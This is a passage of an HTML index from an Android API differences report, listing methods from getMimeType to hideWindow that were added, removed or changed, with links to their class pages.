HREF="android.media.MediaCodecInfo.CodecCapabilities.html#android.media.MediaCodecInfo.CodecCapabilities.getMimeType_added()" class="hiddenlink" target="rightframe"><b>getMimeType</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanFilter.html#android.bluetooth.le.ScanFilter.getMinRssi_removed()" class="hiddenlink" target="rightframe"><strike>getMinRssi</strike> ()</A></nobr><br> <i>getMode</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.PorterDuffColorFilter.html#android.graphics.PorterDuffColorFilter.getMode_removed()" class="hiddenlink" target="rightframe">type&nbsp;<strike> ()</strike>&nbsp;in&nbsp;android.graphics.PorterDuffColorFilter </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.transition.Visibility.html#android.transition.Visibility.getMode_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.transition.Visibility </A></nobr><br> <nobr><A HREF="android.widget.Toolbar.html#android.widget.Toolbar.getNavigationContentDescription_added()" class="hiddenlink" target="rightframe"><b>getNavigationContentDescription</b> ()</A></nobr><br> <nobr><A HREF="android.app.job.JobInfo.html#android.app.job.JobInfo.getNetworkCapabilities_removed()" class="hiddenlink" target="rightframe"><strike>getNetworkCapabilities</strike> ()</A></nobr><br> <nobr><A HREF="android.net.ConnectivityManager.html#android.net.ConnectivityManager.getNetworkInfo_added(android.net.Network)" class="hiddenlink" target="rightframe"><b>getNetworkInfo</b> (<code>Network</code>)</A></nobr><br> <nobr><A HREF="android.app.job.JobInfo.html#android.app.job.JobInfo.getNetworkType_added()" class="hiddenlink" target="rightframe"><b>getNetworkType</b> ()</A></nobr><br> <nobr><A HREF="android.app.AlarmManager.html#android.app.AlarmManager.getNextAlarmClock_added()" class="hiddenlink" target="rightframe"><b>getNextAlarmClock</b> ()</A></nobr><br> <i>getNoBackupFilesDir</i><br> &nbsp;&nbsp;<nobr><A HREF="android.content.Context.html#android.content.Context.getNoBackupFilesDir_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.content.Context </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.content.ContextWrapper.html#android.content.ContextWrapper.getNoBackupFilesDir_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.content.ContextWrapper </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.test.mock.MockContext.html#android.test.mock.MockContext.getNoBackupFilesDir_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.test.mock.MockContext </A></nobr><br> <i>getOutline</i><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.drawable.Drawable.html#android.graphics.drawable.Drawable.getOutline_changed(android.graphics.Outline)" class="hiddenlink" target="rightframe">type&nbsp; (<code>Outline</code>)&nbsp;in&nbsp;android.graphics.drawable.Drawable </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.graphics.drawable.shapes.Shape.html#android.graphics.drawable.shapes.Shape.getOutline_changed(android.graphics.Outline)" class="hiddenlink" target="rightframe">type&nbsp; (<code>Outline</code>)&nbsp;in&nbsp;android.graphics.drawable.shapes.Shape </A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.getOutlineProvider_added()" class="hiddenlink" target="rightframe"><b>getOutlineProvider</b> ()</A></nobr><br> <nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.getOutputBuffer_added(int)" class="hiddenlink" target="rightframe"><b>getOutputBuffer</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.getOutputBuffers_changed()" class="hiddenlink" target="rightframe">getOutputBuffers ()</A></nobr><br> <nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.getOutputFormat_added(int)" class="hiddenlink" target="rightframe"><b>getOutputFormat</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.media.MediaCodec.html#android.media.MediaCodec.getOutputImage_added(int)" class="hiddenlink" target="rightframe"><b>getOutputImage</b> (<code>int</code>)</A></nobr><br> <i>getPackageInstaller</i><br> &nbsp;&nbsp;<nobr><A HREF="android.content.pm.PackageManager.html#android.content.pm.PackageManager.getPackageInstaller_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.content.pm.PackageManager </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.test.mock.MockPackageManager.html#android.test.mock.MockPackageManager.getPackageInstaller_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.test.mock.MockPackageManager </A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.getPackageName_added()" class="hiddenlink" target="rightframe"><b>getPackageName</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputInfo.html#android.media.tv.TvInputInfo.getParentId_added()" class="hiddenlink" target="rightframe"><b>getParentId</b> ()</A></nobr><br> <nobr><A HREF="android.transition.Transition.html#android.transition.Transition.getPathMotion_added()" class="hiddenlink" target="rightframe"><b>getPathMotion</b> ()</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.getPermittedAccessibilityServices_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>getPermittedAccessibilityServices</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.getPermittedInputMethods_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>getPermittedInputMethods</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.getPlaybackInfo_added()" class="hiddenlink" target="rightframe"><b>getPlaybackInfo</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.getPlaybackRate_removed()" class="hiddenlink" target="rightframe"><strike>getPlaybackRate</strike> ()</A></nobr><br> <nobr><A HREF="android.media.session.PlaybackState.html#android.media.session.PlaybackState.getPlaybackSpeed_added()" class="hiddenlink" target="rightframe"><b>getPlaybackSpeed</b> ()</A></nobr><br> <i>getPopupTheme</i><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.ActionMenuView.html#android.widget.ActionMenuView.getPopupTheme_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.widget.ActionMenuView </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.widget.Toolbar.html#android.widget.Toolbar.getPopupTheme_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.widget.Toolbar </A></nobr><br> <nobr><A HREF="android.view.Display.html#android.view.Display.getPresentationDeadlineNanos_added()" class="hiddenlink" target="rightframe"><b>getPresentationDeadlineNanos</b> ()</A></nobr><br> <nobr><A HREF="android.accounts.AccountManager.html#android.accounts.AccountManager.getPreviousName_added(android.accounts.Account)" class="hiddenlink" target="rightframe"><b>getPreviousName</b> (<code>Account</code>)</A></nobr><br> <nobr><A HREF="android.appwidget.AppWidgetProviderInfo.html#android.appwidget.AppWidgetProviderInfo.getProfile_added()" class="hiddenlink" target="rightframe"><b>getProfile</b> ()</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.getProgressBackgroundTintList_added()" class="hiddenlink" target="rightframe"><b>getProgressBackgroundTintList</b> ()</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.getProgressBackgroundTintMode_added()" class="hiddenlink" target="rightframe"><b>getProgressBackgroundTintMode</b> ()</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.getProgressTintList_added()" class="hiddenlink" target="rightframe"><b>getProgressTintList</b> ()</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.getProgressTintMode_added()" class="hiddenlink" target="rightframe"><b>getProgressTintMode</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.getQueue_added()" class="hiddenlink" target="rightframe"><b>getQueue</b> ()</A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.getQueueTitle_added()" class="hiddenlink" target="rightframe"><b>getQueueTitle</b> ()</A></nobr><br> <nobr><A HREF="android.service.notification.NotificationListenerService.RankingMap.html#android.service.notification.NotificationListenerService.RankingMap.getRanking_changed(java.lang.String, android.service.notification.NotificationListenerService.Ranking)" class="hiddenlink" target="rightframe">getRanking (<code>String, Ranking</code>)</A></nobr><br> <nobr><A HREF="android.webkit.WebResourceResponse.html#android.webkit.WebResourceResponse.getReasonPhrase_added()" class="hiddenlink" target="rightframe"><b>getReasonPhrase</b> ()</A></nobr><br> <i>getReenterTransition</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.getReenterTransition_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.getReenterTransition_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A HREF="java.util.concurrent.ScheduledThreadPoolExecutor.html#java.util.concurrent.ScheduledThreadPoolExecutor.getRemoveOnCancelPolicy_added()" class="hiddenlink" target="rightframe"><b>getRemoveOnCancelPolicy</b> ()</A></nobr><br> <nobr><A HREF="android.transition.ChangeTransform.html#android.transition.ChangeTransform.getReparent_added()" class="hiddenlink" target="rightframe"><b>getReparent</b> ()</A></nobr><br> <nobr><A HREF="android.transition.ChangeTransform.html#android.transition.ChangeTransform.getReparentWithOverlay_added()" class="hiddenlink" target="rightframe"><b>getReparentWithOverlay</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanSettings.html#android.bluetooth.le.ScanSettings.getReportDelayMillis_added()" class="hiddenlink" target="rightframe"><b>getReportDelayMillis</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanSettings.html#android.bluetooth.le.ScanSettings.getReportDelayNanos_removed()" class="hiddenlink" target="rightframe"><strike>getReportDelayNanos</strike> ()</A></nobr><br> <nobr><A HREF="android.hardware.Sensor.html#android.hardware.Sensor.getReportingMode_added()" class="hiddenlink" target="rightframe"><b>getReportingMode</b> ()</A></nobr><br> <nobr><A HREF="android.webkit.PermissionRequest.html#android.webkit.PermissionRequest.getResources_changed()" class="hiddenlink" target="rightframe">getResources ()</A></nobr><br> <nobr><A HREF="android.webkit.WebResourceResponse.html#android.webkit.WebResourceResponse.getResponseHeaders_added()" class="hiddenlink" target="rightframe"><b>getResponseHeaders</b> ()</A></nobr><br> <i>getReturnTransition</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.getReturnTransition_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.getReturnTransition_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A HREF="android.media.AudioFormat.html#android.media.AudioFormat.getSampleRate_added()" class="hiddenlink" target="rightframe"><b>getSampleRate</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.le.ScanResult.html#android.bluetooth.le.ScanResult.getScanRecord_changed()" class="hiddenlink" target="rightframe">getScanRecord ()</A></nobr><br> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.getScreenCaptureDisabled_added(android.content.ComponentName)" class="hiddenlink" target="rightframe"><b>getScreenCaptureDisabled</b> (<code>ComponentName</code>)</A></nobr><br> <nobr><A HREF="java.util.Locale.html#java.util.Locale.getScript_added()" class="hiddenlink" target="rightframe"><b>getScript</b> ()</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.getSecondaryProgressTintList_added()" class="hiddenlink" target="rightframe"><b>getSecondaryProgressTintList</b> ()</A></nobr><br> <nobr><A HREF="android.widget.ProgressBar.html#android.widget.ProgressBar.getSecondaryProgressTintMode_added()" class="hiddenlink" target="rightframe"><b>getSecondaryProgressTintMode</b> ()</A></nobr><br> <i>getSelectedTrack</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.MediaPlayer.html#android.media.MediaPlayer.getSelectedTrack_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.media.MediaPlayer </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.tv.TvView.html#android.media.tv.TvView.getSelectedTrack_added(int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>int</code>)</b>&nbsp;in&nbsp;android.media.tv.TvView </A></nobr><br> <i>getServiceData</i><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getServiceData_removed()" class="hiddenlink" target="rightframe">type&nbsp;<strike> ()</strike>&nbsp;in&nbsp;android.bluetooth.le.ScanRecord </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getServiceData_added(android.os.ParcelUuid)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>ParcelUuid</code>)</b>&nbsp;in&nbsp;android.bluetooth.le.ScanRecord </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getServiceData_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.bluetooth.le.ScanRecord </A></nobr><br> <i>getServiceDataUuid</i><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanFilter.html#android.bluetooth.le.ScanFilter.getServiceDataUuid_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.bluetooth.le.ScanFilter </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.bluetooth.le.ScanRecord.html#android.bluetooth.le.ScanRecord.getServiceDataUuid_removed()" class="hiddenlink" target="rightframe">type&nbsp;<strike> ()</strike>&nbsp;in&nbsp;android.bluetooth.le.ScanRecord </A></nobr><br> <nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.getSessionActivity_added()" class="hiddenlink" target="rightframe"><b>getSessionActivity</b> ()</A></nobr><br> <i>getSessionToken</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaController.html#android.media.session.MediaController.getSessionToken_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.media.session.MediaController </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.media.session.MediaSession.html#android.media.session.MediaSession.getSessionToken_changed()" class="hiddenlink" target="rightframe">type&nbsp; ()&nbsp;in&nbsp;android.media.session.MediaSession </A></nobr><br> <nobr><A HREF="android.app.Fragment.html#android.app.Fragment.getSharedElementEnterTransition_added()" class="hiddenlink" target="rightframe"><b>getSharedElementEnterTransition</b> ()</A></nobr><br> <nobr><A HREF="android.view.Window.html#android.view.Window.getSharedElementReenterTransition_added()" class="hiddenlink" target="rightframe"><b>getSharedElementReenterTransition</b> ()</A></nobr><br> <i>getSharedElementReturnTransition</i><br> &nbsp;&nbsp;<nobr><A HREF="android.app.Fragment.html#android.app.Fragment.getSharedElementReturnTransition_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.app.Fragment </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.view.Window.html#android.view.Window.getSharedElementReturnTransition_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;android.view.Window </A></nobr><br> <nobr><A HREF="android.view.Window.html#android.view.Window.getSharedElementsUseOverlay_added()" class="hiddenlink" target="rightframe"><b>getSharedElementsUseOverlay</b> ()</A></nobr><br> <nobr><A HREF="android.widget.TextView.html#android.widget.TextView.getShowSoftInputOnFocus_added()" class="hiddenlink" target="rightframe"><b>getShowSoftInputOnFocus</b> ()</A></nobr><br> <nobr><A HREF="android.widget.Switch.html#android.widget.Switch.getShowText_added()" class="hiddenlink" target="rightframe"><b>getShowText</b> ()</A></nobr><br> <nobr><A HREF="android.os.Bundle.html#android.os.Bundle.getSize_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>getSize</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.os.Bundle.html#android.os.Bundle.getSizeF_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>getSizeF</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.transition.Slide.html#android.transition.Slide.getSlideEdge_added()" class="hiddenlink" target="rightframe"><b>getSlideEdge</b> ()</A></nobr><br> <nobr><A HREF="android.media.audiofx.Virtualizer.html#android.media.audiofx.Virtualizer.getSpeakerAngles_added(int, int, int[])" class="hiddenlink" target="rightframe"><b>getSpeakerAngles</b> (<code>int, int, int[]</code>)</A></nobr><br> <nobr><A HREF="android.view.WindowInsets.html#android.view.WindowInsets.getStableInsetBottom_added()" class="hiddenlink" target="rightframe"><b>getStableInsetBottom</b> ()</A></nobr><br> <nobr><A HREF="android.view.WindowInsets.html#android.view.WindowInsets.getStableInsetLeft_added()" class="hiddenlink" target="rightframe"><b>getStableInsetLeft</b> ()</A></nobr><br> <nobr><A HREF="android.view.WindowInsets.html#android.view.WindowInsets.getStableInsetRight_added()" class="hiddenlink" target="rightframe"><b>getStableInsetRight</b> ()</A></nobr><br> <nobr><A HREF="android.view.WindowInsets.html#android.view.WindowInsets.getStableInsetTop_added()" class="hiddenlink" target="rightframe"><b>getStableInsetTop</b> ()</A></nobr><br> <nobr><A HREF="android.webkit.WebResourceResponse.html#android.webkit.WebResourceResponse.getStatusCode_added()" class="hiddenlink" target="rightframe"><b>getStatusCode</b> ()</A></nobr><br> <nobr><A HREF="android.media.Ringtone.html#android.media.Ringtone.getStreamType_changed()" class="hiddenlink" target="rightframe">getStreamType ()</A></nobr><br> <nobr><A HREF="android.view.Display.html#android.view.Display.getSupportedRefreshRates_added()" class="hiddenlink" target="rightframe"><b>getSupportedRefreshRates</b> ()</A></nobr><br> <nobr><A HREF="android.transition.Transition.html#android.transition.Transition.getTargetNames_added()" class="hiddenlink" target="rightframe"><b>getTargetNames</b> ()</A></nobr><br> <nobr><A HREF="android.transition.Transition.html#android.transition.Transition.getTargetViewNames_removed()" class="hiddenlink" target="rightframe"><strike>getTargetViewNames</strike> ()</A></nobr><br> <i>getText</i><br> &nbsp;&nbsp;<nobr><A HREF="android.media.MediaMetadata.html#android.media.MediaMetadata.getText_added(java.lang.String)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>String</code>)</b>&nbsp;in&nbsp;android.media.MediaMetadata </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.speech.tts.SynthesisRequest.html#android.speech.tts.SynthesisRequest.getText_changed()" class="hiddenlink" target="rightframe">type&nbsp; ()&nbsp;in&nbsp;android.speech.tts.SynthesisRequest </A></nobr><br> <nobr><A HREF="android.widget.TextView.html#android.widget.TextView.getTextColor_removed(android.content.Context, android.content.res.TypedArray, int)" class="hiddenlink" target="rightframe"><strike>getTextColor</strike> (<code>Context, TypedArray, int</code>)</A></nobr><br> <nobr><A HREF="android.widget.TextView.html#android.widget.TextView.getTextColors_removed(android.content.Context, android.content.res.TypedArray)" class="hiddenlink" target="rightframe"><strike>getTextColors</strike> (<code>Context, TypedArray</code>)</A></nobr><br> <nobr><A HREF="android.widget.AbsSeekBar.html#android.widget.AbsSeekBar.getThumbTintList_added()" class="hiddenlink" target="rightframe"><b>getThumbTintList</b> ()</A></nobr><br> <nobr><A HREF="android.widget.AbsSeekBar.html#android.widget.AbsSeekBar.getThumbTintMode_added()" class="hiddenlink" target="rightframe"><b>getThumbTintMode</b> ()</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseSettings.html#android.bluetooth.le.AdvertiseSettings.getTimeout_added()" class="hiddenlink" target="rightframe"><b>getTimeout</b> ()</A></nobr><br> <nobr><A HREF="android.view.ViewGroup.html#android.view.ViewGroup.getTouchscreenBlocksFocus_added()" class="hiddenlink" target="rightframe"><b>getTouchscreenBlocksFocus</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvView.html#android.media.tv.TvView.getTracks_added(int)" class="hiddenlink" target="rightframe"><b>getTracks</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.transition.TransitionSet.html#android.transition.TransitionSet.getTransitionAt_added(int)" class="hiddenlink" target="rightframe"><b>getTransitionAt</b> (<code>int</code>)</A></nobr><br> <nobr><A HREF="android.view.Window.html#android.view.Window.getTransitionBackgroundFadeDuration_added()" class="hiddenlink" target="rightframe"><b>getTransitionBackgroundFadeDuration</b> ()</A></nobr><br> <nobr><A HREF="android.transition.TransitionSet.html#android.transition.TransitionSet.getTransitionCount_added()" class="hiddenlink" target="rightframe"><b>getTransitionCount</b> ()</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.getTransitionName_added()" class="hiddenlink" target="rightframe"><b>getTransitionName</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvInputManager.html#android.media.tv.TvInputManager.getTvInputInfo_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>getTvInputInfo</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.bluetooth.le.AdvertiseSettings.html#android.bluetooth.le.AdvertiseSettings.getType_removed()" class="hiddenlink" target="rightframe"><strike>getType</strike> ()</A></nobr><br> <nobr><A HREF="android.provider.ContactsContract.CommonDataKinds.Event.html#android.provider.ContactsContract.CommonDataKinds.Event.getTypeLabel_added(android.content.res.Resources, int, java.lang.CharSequence)" class="hiddenlink" target="rightframe"><b>getTypeLabel</b> (<code>Resources, int, CharSequence</code>)</A></nobr><br> <nobr><A HREF="java.util.Locale.html#java.util.Locale.getUnicodeLocaleAttributes_added()" class="hiddenlink" target="rightframe"><b>getUnicodeLocaleAttributes</b> ()</A></nobr><br> <nobr><A HREF="java.util.Locale.html#java.util.Locale.getUnicodeLocaleKeys_added()" class="hiddenlink" target="rightframe"><b>getUnicodeLocaleKeys</b> ()</A></nobr><br> <nobr><A HREF="java.util.Locale.html#java.util.Locale.getUnicodeLocaleType_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>getUnicodeLocaleType</b> (<code>String</code>)</A></nobr><br> <i>getUserBadgedDrawableForDensity</i><br> &nbsp;&nbsp;<nobr><A HREF="android.content.pm.PackageManager.html#android.content.pm.PackageManager.getUserBadgedDrawableForDensity_added(android.graphics.drawable.Drawable, android.os.UserHandle, android.graphics.Rect, int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Drawable, UserHandle, Rect, int</code>)</b>&nbsp;in&nbsp;android.content.pm.PackageManager </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.test.mock.MockPackageManager.html#android.test.mock.MockPackageManager.getUserBadgedDrawableForDensity_added(android.graphics.drawable.Drawable, android.os.UserHandle, android.graphics.Rect, int)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Drawable, UserHandle, Rect, int</code>)</b>&nbsp;in&nbsp;android.test.mock.MockPackageManager </A></nobr><br> <i>getUserBadgedIcon</i><br> &nbsp;&nbsp;<nobr><A HREF="android.content.pm.PackageManager.html#android.content.pm.PackageManager.getUserBadgedIcon_added(android.graphics.drawable.Drawable, android.os.UserHandle)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Drawable, UserHandle</code>)</b>&nbsp;in&nbsp;android.content.pm.PackageManager </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.test.mock.MockPackageManager.html#android.test.mock.MockPackageManager.getUserBadgedIcon_added(android.graphics.drawable.Drawable, android.os.UserHandle)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>Drawable, UserHandle</code>)</b>&nbsp;in&nbsp;android.test.mock.MockPackageManager </A></nobr><br> <i>getUserBadgedLabel</i><br> &nbsp;&nbsp;<nobr><A HREF="android.content.pm.PackageManager.html#android.content.pm.PackageManager.getUserBadgedLabel_added(java.lang.CharSequence, android.os.UserHandle)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>CharSequence, UserHandle</code>)</b>&nbsp;in&nbsp;android.content.pm.PackageManager </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="android.test.mock.MockPackageManager.html#android.test.mock.MockPackageManager.getUserBadgedLabel_added(java.lang.CharSequence, android.os.UserHandle)" class="hiddenlink" target="rightframe">type&nbsp;<b> (<code>CharSequence, UserHandle</code>)</b>&nbsp;in&nbsp;android.test.mock.MockPackageManager </A></nobr><br> <nobr><A HREF="android.media.MediaCodecInfo.CodecCapabilities.html#android.media.MediaCodecInfo.CodecCapabilities.getVideoCapabilities_added()" class="hiddenlink" target="rightframe"><b>getVideoCapabilities</b> ()</A></nobr><br> <nobr><A HREF="android.media.tv.TvContract.Channels.html#android.media.tv.TvContract.Channels.getVideoResolution_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>getVideoResolution</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.view.View.html#android.view.View.getViewName_removed()" class="hiddenlink" target="rightframe"><strike>getViewName</strike> ()</A></nobr><br> <nobr><A HREF="android.media.audiofx.Virtualizer.html#android.media.audiofx.Virtualizer.getVirtualizationMode_added()" class="hiddenlink" target="rightframe"><b>getVirtualizationMode</b> ()</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.getVoice_added()" class="hiddenlink" target="rightframe"><b>getVoice</b> ()</A></nobr><br> <nobr><A HREF="android.app.Activity.html#android.app.Activity.getVoiceInteractor_removed()" class="hiddenlink" target="rightframe"><strike>getVoiceInteractor</strike> ()</A></nobr><br> <nobr><A HREF="android.speech.tts.SynthesisRequest.html#android.speech.tts.SynthesisRequest.getVoiceName_added()" class="hiddenlink" target="rightframe"><b>getVoiceName</b> ()</A></nobr><br> <nobr><A HREF="android.speech.tts.TextToSpeech.html#android.speech.tts.TextToSpeech.getVoices_added()" class="hiddenlink" target="rightframe"><b>getVoices</b> ()</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.getWindow_removed()" class="hiddenlink" target="rightframe"><strike>getWindow</strike> ()</A></nobr><br> <nobr><A HREF="android.os.PowerManager.html#android.os.PowerManager.goToSleep_removed(long)" class="hiddenlink" target="rightframe"><strike>goToSleep</strike> (<code>long</code>)</A></nobr><br> <nobr><A HREF="android.webkit.PermissionRequest.html#android.webkit.PermissionRequest.grant_changed(java.lang.String[])" class="hiddenlink" target="rightframe">grant (<code>String[]</code>)</A></nobr><br> <A NAME="H"></A> <br><font size="+2">H</font>&nbsp; <a href="#A"><font size="-2">A</font></a> <a href="#B"><font size="-2">B</font></a> <a href="#C"><font size="-2">C</font></a> <a href="#D"><font size="-2">D</font></a> <a href="#E"><font size="-2">E</font></a> <a href="#F"><font size="-2">F</font></a> <a href="#G"><font size="-2">G</font></a> <a href="#I"><font size="-2">I</font></a> <a href="#L"><font size="-2">L</font></a> <a href="#M"><font size="-2">M</font></a> <a href="#N"><font size="-2">N</font></a> <a href="#O"><font size="-2">O</font></a> <a href="#P"><font size="-2">P</font></a> <a href="#R"><font size="-2">R</font></a> <a href="#S"><font size="-2">S</font></a> <a href="#T"><font size="-2">T</font></a> <a href="#U"><font size="-2">U</font></a> <a href="#V"><font size="-2">V</font></a> <a href="#W"><font size="-2">W</font></a> <a href="#Z"><font size="-2">Z</font></a> <a href="#topheader"><font size="-2">TOP</font></a> <p><div style="line-height:1.5em;color:black"> <nobr><A HREF="android.app.admin.DevicePolicyManager.html#android.app.admin.DevicePolicyManager.hasCaCertInstalled_added(android.content.ComponentName, byte[])" class="hiddenlink" target="rightframe"><b>hasCaCertInstalled</b> (<code>ComponentName, byte[]</code>)</A></nobr><br> <nobr><A HREF="android.speech.tts.SynthesisCallback.html#android.speech.tts.SynthesisCallback.hasFinished_added()" class="hiddenlink" target="rightframe"><b>hasFinished</b> ()</A></nobr><br> <i>hasQueuedPredecessors</i><br> &nbsp;&nbsp;<nobr><A HREF="java.util.concurrent.locks.AbstractQueuedLongSynchronizer.html#java.util.concurrent.locks.AbstractQueuedLongSynchronizer.hasQueuedPredecessors_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;java.util.concurrent.locks.AbstractQueuedLongSynchronizer </A></nobr><br> &nbsp;&nbsp;<nobr><A HREF="java.util.concurrent.locks.AbstractQueuedSynchronizer.html#java.util.concurrent.locks.AbstractQueuedSynchronizer.hasQueuedPredecessors_added()" class="hiddenlink" target="rightframe">type&nbsp;<b> ()</b>&nbsp;in&nbsp;java.util.concurrent.locks.AbstractQueuedSynchronizer </A></nobr><br> <nobr><A HREF="android.view.WindowInsets.html#android.view.WindowInsets.hasStableInsets_added()" class="hiddenlink" target="rightframe"><b>hasStableInsets</b> ()</A></nobr><br> <nobr><A HREF="android.speech.tts.SynthesisCallback.html#android.speech.tts.SynthesisCallback.hasStarted_added()" class="hiddenlink" target="rightframe"><b>hasStarted</b> ()</A></nobr><br> <nobr><A HREF="android.os.UserManager.html#android.os.UserManager.hasUserRestriction_added(java.lang.String)" class="hiddenlink" target="rightframe"><b>hasUserRestriction</b> (<code>String</code>)</A></nobr><br> <nobr><A HREF="android.service.voice.VoiceInteractionSession.html#android.service.voice.VoiceInteractionSession.hideWindow_removed()" class="hiddenlink" target="rightframe"><strike>hideWindow</strike> 